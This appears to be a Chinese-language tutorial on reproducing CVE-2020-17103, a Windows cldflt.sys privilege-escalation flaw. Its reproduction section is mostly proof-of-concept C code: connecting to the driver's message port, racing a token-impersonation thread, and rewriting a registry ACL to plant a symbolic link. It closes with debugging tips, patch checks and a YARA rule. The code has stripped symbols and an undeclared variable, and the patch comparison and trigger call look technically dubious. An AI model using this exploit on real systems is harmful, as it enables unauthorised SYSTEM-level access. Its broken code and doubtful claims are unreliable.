Windows 10/11下CVE-2020-17103漏洞复现实战指南在Windows安全研究领域Minifilter驱动漏洞一直是权限提升EoP攻击的热门目标。CVE-2020-17103作为cldflt.sys驱动中的一个经典漏洞通过巧妙利用注册表操作和线程竞争条件实现了从普通用户到系统级权限的跨越。本文将带您从零开始在Windows 10/11实验环境中完整复现这个漏洞深入理解其背后的技术原理和利用技巧。1. 环境准备与基础知识复现CVE-2020-17103需要特定的环境配置和工具准备。以下是您需要准备的清单操作系统Windows 10 20H2或Windows 11 21H2需未安装KB4598291补丁调试工具WinDbg Preview用于内核调试Process Monitor监控注册表和进程活动API Monitor跟踪API调用开发环境Visual Studio 2019用于编译PoCWindows Driver KitWDK10关键文件cldapi.dll位于System32目录cldflt.sys驱动文件注意实验环境建议使用虚拟机并关闭所有安全防护软件以避免干扰。理解漏洞的核心需要掌握几个关键概念Minifilter驱动架构Windows文件系统过滤驱动框架允许开发者在文件操作路径上插入处理逻辑通信端口机制Minifilter驱动通过创建命名端口与用户态程序通信注册表安全描述符控制对注册表项的访问权限包括WRITE_DAC等关键权限2. 漏洞原理深度解析CVE-2020-17103的核心问题出在cldflt.sys驱动的HsmiOsOpenAppPolicyKey函数中。让我们通过补丁对比来理解漏洞本质// 补丁前代码片段 ZwCreateKey( hKey, KEY_WRITE | KEY_READ, ObjectAttributes, 0, NULL, REG_OPTION_NON_VOLATILE, NULL); // 补丁后代码片段 ZwCreateKey( hKey, KEY_WRITE | KEY_READ, ObjectAttributes, 0, NULL, REG_OPTION_NON_VOLATILE | OBJ_FORCE_ACCESS_CHECK, NULL);漏洞利用涉及三个关键阶段用户态触发通过cldapi.dll导出函数CfAbortOperation触发驱动回调竞争条件构造在RtlOpenCurrentUser调用期间切换线程令牌权限提升利用获得的WRITE_DAC权限创建注册表符号链接3. 完整复现步骤3.1 搭建通信通道首先需要建立与\CLDMSGPORT端口的通信连接。以下是关键代码实现#include windows.h #include fltuser.h HRESULT ConnectToPort() { HANDLE hPort NULL; INT context[2] { 0x63706C43, 1 }; HRESULT hr FilterConnectCommunicationPort( L\\CLDMSGPORT, 0, context, sizeof(context), NULL, hPort); if (SUCCEEDED(hr)) { printf([] 成功连接到CLDMSGPORT端口\n); return hr; } else { printf([-] 连接失败: 0x%08X\n, hr); return hr; } }3.2 构造线程竞争条件实现令牌切换是触发漏洞的关键。以下是竞争条件的实现代码DWORD WINAPI ImpersonateThread(LPVOID lpParam) { HANDLE hToken NULL; // 获取匿名令牌 if (!ImpersonateAnonymousToken(GetCurrentThread())) { printf([-] 模拟匿名令牌失败\n); return 1; } // 短暂延迟后恢复原始令牌 Sleep(50); RevertToSelf(); return 0; } void CreateCompetition() { HANDLE hThread CreateThread(NULL, 0, ImpersonateThread, NULL, 0, NULL); if (hThread NULL) { printf([-] 创建线程失败\n); return; } // 调用漏洞触发函数 HMODULE hCldapi LoadLibrary(Lcldapi.dll); FARPROC pCfAbortOperation GetProcAddress(hCldapi, CfAbortOperation); if (pCfAbortOperation ! NULL) { ((HRESULT(WINAPI*)(HANDLE))pCfAbortOperation)(NULL); } WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); }3.3 注册表操作与权限提升成功触发漏洞后可以操作注册表实现权限提升获取WRITE_DAC权限利用漏洞获得的句柄修改安全描述符创建符号链接将BlockedApps项链接到目标注册表路径void ExploitRegistry(HKEY hVulnerableKey) { // 修改安全描述符 PACL pNewAcl NULL; EXPLICIT_ACCESS ea {0}; ea.grfAccessPermissions KEY_CREATE_LINK; ea.grfAccessMode GRANT_ACCESS; ea.grfInheritance NO_INHERITANCE; ea.Trustee.TrusteeForm TRUSTEE_IS_SID; ea.Trustee.TrusteeType TRUSTEE_IS_USER; ea.Trustee.ptstrName (LPTSTR)GetUserSid(); SetEntriesInAcl(1, ea, NULL, pNewAcl); SECURITY_DESCRIPTOR sd {0}; InitializeSecurityDescriptor(sd, SECURITY_DESCRIPTOR_REVISION); SetSecurityDescriptorDacl(sd, TRUE, pNewAcl, FALSE); RegSetKeySecurity(hVulnerableKey, DACL_SECURITY_INFORMATION, sd); // 创建符号链接 RegDeleteKey(hVulnerableKey, LBlockedApps); RegCreateKey(hVulnerableKey, LBlockedApps, hLinkKey); RegSetValueEx(hLinkKey, LSymbolicLinkValue, 0, REG_SZ, (const BYTE*)L\\Registry\\User\\.DEFAULT\\demo, sizeof(L\\Registry\\User\\.DEFAULT\\demo)); }4. 调试技巧与问题排查在复现过程中可能会遇到各种问题以下是一些实用的调试技巧4.1 内核调试设置使用WinDbg进行内核调试需要特殊配置在目标机上启用调试模式bcdedit /debug on bcdedit /dbgsettings serial debugport:1 baudrate:115200配置WinDbg符号路径.sympath srv*https://msdl.microsoft.com/download/symbols .reload4.2 关键断点设置在驱动漏洞分析中这些断点非常有用// 设置漏洞函数断点 bp cldflt!HsmiOsOpenAppPolicyKey // 监控注册表操作 bp nt!NtCreateKey bp nt!NtSetValueKey // 线程令牌变化监控 bp nt!PsImpersonateClient bp nt!PsRevertToSelf4.3 常见问题解决问题现象可能原因解决方案连接端口失败服务未运行检查Cloud Filter服务状态漏洞未触发竞争条件不满足调整线程延迟时间权限提升失败注册表路径错误验证.DEFAULT路径权限5. 防御措施与缓解方案虽然微软已经通过补丁修复了这个漏洞但了解防御措施对安全研究同样重要补丁验证检查KB4598291是否安装验证cldflt.sys文件版本是否为10.0.19041.662系统加固建议限制普通用户对\RPC Control\CLDMSGPORT的访问监控可疑的注册表符号链接创建行为检测规则示例YARA规则rule CVE_2020_17103_Exploit { strings: $cldapi cldapi.dll wide $abort CfAbortOperation wide $port \\CLDMSGPORT wide condition: all of them }在实际项目中我们发现这种类型的漏洞往往出现在驱动与用户态的交互边界上。通过这次复现不仅理解了漏洞原理更重要的是掌握了Minifilter驱动安全审计的方法论。建议有兴趣的读者可以进一步研究其他Minifilter驱动的通信机制或许能发现新的安全问题。